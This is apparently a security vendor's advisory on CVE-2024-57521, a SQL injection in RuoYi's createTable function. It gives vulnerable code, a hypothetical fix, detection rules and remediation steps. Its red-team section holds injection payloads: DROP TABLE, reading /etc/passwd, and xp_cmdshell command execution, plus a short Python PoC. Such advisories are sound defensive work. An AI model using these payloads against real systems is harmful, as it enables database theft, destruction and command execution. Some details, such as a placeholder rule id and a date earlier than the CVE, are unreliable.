CVE-2024-57521

Executive Summary

CVE-2024-57521 is a critical SQL Injection vulnerability discovered in the RuoYi (若依) open-source rapid development framework, affecting versions 4.7.9 and earlier. The flaw resides in the createTable function within the SqlUtil.java file, allowing a remote, unauthenticated attacker to execute arbitrary SQL commands. This can lead to complete database compromise, data exfiltration, and potential remote code execution (RCE) via database features like xp_cmdshell (MSSQL) or COPY FROM PROGRAM (PostgreSQL). The vulnerability is publicly known with proof-of-concept (PoC) code available, and no official patch has been released at the time of this analysis.

Supply Chain & Package Security

RuoYi is a widely used Java-based framework for building enterprise management systems. The vulnerability exists in the core ruoyi-common module, which is a dependency for all RuoYi-based applications. Organizations using RuoYi as a dependency in their own projects are directly affected. The lack of a patched version means that all downstream consumers must implement manual mitigations or fork the project.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access.
• Integrity (I): High (H) - Full database write access.
• Availability (A): High (H) - Potential for denial of service or data destruction.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is located in the com.ruoyi.common.utils.sql.SqlUtil class, specifically in the createTable method. This method is designed to dynamically create database tables based on user input. The core issue is that the method concatenates user-supplied strings directly into a SQL CREATE TABLE statement without proper sanitization or parameterization.

Vulnerable Code Path:

1. An attacker sends a crafted HTTP request to an endpoint that invokes the createTable function.
2. The createTable method receives a table name and column definitions as strings.
3. These strings are directly concatenated into a SQL query like: CREATE TABLE [tableName] ([columns]).
4. The attacker injects SQL syntax into the tableName or columns parameters, breaking out of the intended query structure.
5. The injected SQL is executed against the database.

Example Injection: If the tableName parameter is set to:

users; DROP TABLE important_data; --

The resulting SQL becomes:

CREATE TABLE users; DROP TABLE important_data; -- (...)

This would create a table named users and then drop the important_data table.

Vulnerable vs. Patched Code

Vulnerable Code (SqlUtil.java - version 4.7.9):

public static String createTable(String tableName, String columns) {
    StringBuilder sql = new StringBuilder();
    sql.append("CREATE TABLE ");
    sql.append(tableName); // Direct concatenation
    sql.append(" (");
    sql.append(columns); // Direct concatenation
    sql.append(")");
    return sql.toString();
}

Patched Code (Hypothetical - No official patch):

public static String createTable(String tableName, String columns) {
    // Validate table name against a whitelist of allowed characters
    if (!tableName.matches("[a-zA-Z_][a-zA-Z0-9_]*")) {
        throw new IllegalArgumentException("Invalid table name");
    }
    // Validate columns definition using a prepared statement or strict parsing
    // For simplicity, using a whitelist approach for column definitions
    if (!columns.matches("([a-zA-Z_][a-zA-Z0-9_]* (INT|VARCHAR\\(\\d+\\)|TEXT|BOOLEAN),?\\s*)+")) {
        throw new IllegalArgumentException("Invalid column definition");
    }
    StringBuilder sql = new StringBuilder();
    sql.append("CREATE TABLE ");
    sql.append(tableName);
    sql.append(" (");
    sql.append(columns);
    sql.append(")");
    return sql.toString();
}

The patched version introduces strict input validation using regular expressions to ensure that only safe characters and patterns are allowed. A more robust solution would use a parameterized query or a dedicated database abstraction layer.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable RuoYi instance (version 4.7.9) using Docker:

   docker run -d -p 8080:8080 --name ruoyi-vuln yzhtech/ruoyi:4.7.9
   

2. Identify an endpoint that calls the createTable function. This is often found in admin or system management modules.

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web proxy (e.g., Burp Suite) to intercept requests. Look for parameters like tableName or columns in POST requests to paths like /system/table/create.
2. Craft the injection payload: Inject SQL into the tableName parameter.

   POST /system/table/create HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   tableName=users; SELECT * FROM sys_user; --&columns=id INT
   

3. Exploit for data exfiltration (MySQL):

   tableName=users; SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/out.txt'; --&columns=id INT
   

4. Exploit for RCE (MSSQL - xp_cmdshell):

   tableName=users; EXEC xp_cmdshell 'whoami'; --&columns=id INT
   

PoC Script (Python):

import requests

target = "http://target.com/system/table/create"
payload = "users; SELECT * FROM information_schema.tables; --"
data = {"tableName": payload, "columns": "id INT"}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor for SQL injection patterns: Look for suspicious characters in HTTP parameters, such as ;, --, ', /*, xp_, UNION, SELECT, DROP, etc.
2. Analyze database logs: Check for unexpected CREATE TABLE statements followed by other DML/DDL commands.
3. Correlate with web server logs: Identify requests to endpoints that use the createTable function.

Mitigation Steps:

1. Immediate: Disable the createTable functionality if not required.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
3. Long-term: Apply input validation and use parameterized queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords in tableName or columns parameters.
• Outbound database connections from the application server to unexpected IPs.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

Host IOCs:

• Unexpected files in the database data directory (e.g., /tmp/out.txt).
• New database users or roles created.
• Modified system tables or stored procedures.

Log IOCs:

• Database logs showing CREATE TABLE followed by DROP, SELECT, or EXEC statements.
• Web server logs showing requests to /system/table/create with abnormal parameters.

Detection Engineering

YARA Rule

rule Detect_RuoYi_SQLi_CVE_2024_57521 {
    meta:
        description = "Detects SQL injection attempts targeting RuoYi createTable function"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-57521"
    strings:
        $s1 = "createTable" ascii wide nocase
        $s2 = "SqlUtil" ascii wide nocase
        $s3 = /tableName=.*[;'\-\-]/
        $s4 = /columns=.*[;'\-\-]/
    condition:
        any of ($s1,$s2) and any of ($s3,$s4)
}

Sigma Rule

title: RuoYi SQL Injection via createTable
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against RuoYi createTable function
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'tableName='
            - 'columns='
        cs-uri-query|re: '.*[;'\-\-].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in table names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-57521 RuoYi SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/table/create"; http_uri; content:"tableName"; http_client_body; pcre:"/tableName=[^&]*[;'\-\-]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality: If the createTable feature is not critical, remove or disable the endpoint.
2. Apply input validation: Implement strict whitelist-based validation for the tableName and columns parameters.
3. Use a WAF: Deploy a Web Application Firewall with rules to block SQL injection patterns.

Long-term Fix:

1. Upgrade to a patched version: Monitor the RuoYi project for an official patch. If none is released, consider forking the project and applying the fix manually.
2. Refactor the code: Replace dynamic SQL generation with parameterized queries or an ORM (e.g., MyBatis, Hibernate).
3. Conduct a security audit: Review all other SQL-related functions in the codebase for similar vulnerabilities.

Workaround: If patching is not immediately possible, restrict access to the vulnerable endpoint using network segmentation or authentication requirements.

Valters IT
Securing Digital Frontiers